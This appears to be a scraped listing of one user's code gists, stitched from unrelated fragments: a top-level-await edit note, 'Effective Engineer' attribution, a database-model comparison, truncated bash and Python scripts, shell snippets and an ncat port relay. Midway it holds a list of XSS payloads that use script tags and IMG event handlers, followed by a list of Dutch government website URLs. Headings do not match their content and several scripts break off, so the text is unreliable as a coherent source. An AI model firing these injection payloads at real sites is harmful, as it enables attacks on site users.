Chase Jensen ruevaughn

Edit — February 2019

This gist had a far larger impact than I imagined it would, and apparently people are still finding it, so a quick update:

TC39 is currently moving forward with a slightly different version of TLA, referred to as 'variant B', in which a module with TLA doesn't block sibling execution. This vastly reduces the danger of parallelizable work happening in serial and thereby delaying startup, which was the concern that motivated me to write this gist
In the wild, we're seeing (async main(){...}()) as a substitute for TLA. This completely eliminates the blocking problem (yay!) but it's less powerful, and harder to statically analyse (boo). In other words the lack of TLA is causing real problems
Therefore, a version of TLA that solves the original issue is a valuable addition to the language, and I'm in full support of the current proposal, which you can read here.

I'll leave the rest of this document unedited, for archaeological

FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.

Effective Engineer - Notes

By Edmond Lau
Highly Recommended 👍
http://www.theeffectiveengineer.com/

What's an Effective Engineer?

NOTE: This is simplified. However, it's a useful high-level model for determining what kind of database you need for your project.

Data models

Documents: Single type of thing, no relations
Relational: Multiple types of things, relations between different types of things
Graph: Single or multiple types of things, relations between different things of the same type

	#!/bin/bash
	# Referenced and tweaked from http://stackoverflow.com/questions/6174220/parse-url-in-shell-script#6174447

	proto="$(echo $1 \| grep :// \| sed -e's,^\(.://\).,\1,g')"
	# remove the protocol
	url="$(echo ${1/$proto/})"
	# extract the user (if any)
	userpass="$(echo $url \| grep @ \| cut -d@ -f1)"
	pass="$(echo $userpass \| grep : \| cut -d: -f2)"
	if [ -n "$pass" ]; then

	[[snippets]]
	description = "Grep all files in a folder"
	command = "grep -rn \"texthere\" ."
	output = ""

	[[snippets]]
	description = "Sync only certain files using filters and rsync"
	command = "rsync -rv --include '/' --include 'something' --exclude '' --prune-empty-dirs Source/ Target/"
	output = ""

	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

	http://www.rijksoverheid.nl
	http://www.rivm.nl
	http://coronadashboard.rijksoverheid.nl
	http://www.nederlandwereldwijd.nl
	http://www.government.nl
	http://lci.rivm.nl
	http://www.rvo.nl
	http://www.defensie.nl
	http://www.werkenvoornederland.nl
	http://www.rijkswaterstaat.nl

	import requests
	import re
	import sys
	from multiprocessing.dummy import Pool


	def robots(host):
	r = requests.get(
	'https://web.archive.org/cdx/search/cdx\
	?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)

	mkfifo reply
	ncat -kl 8765 < reply \| ncat 127.0.0.1 4567 > reply # listens on port 8765 and redirects to localhost:4567. Runs until C-c.
	rm reply # cleanup after end

Chase Jensen ruevaughn

Edit — February 2019

Effective Engineer - Notes

What's an Effective Engineer?

Data models

Consistency models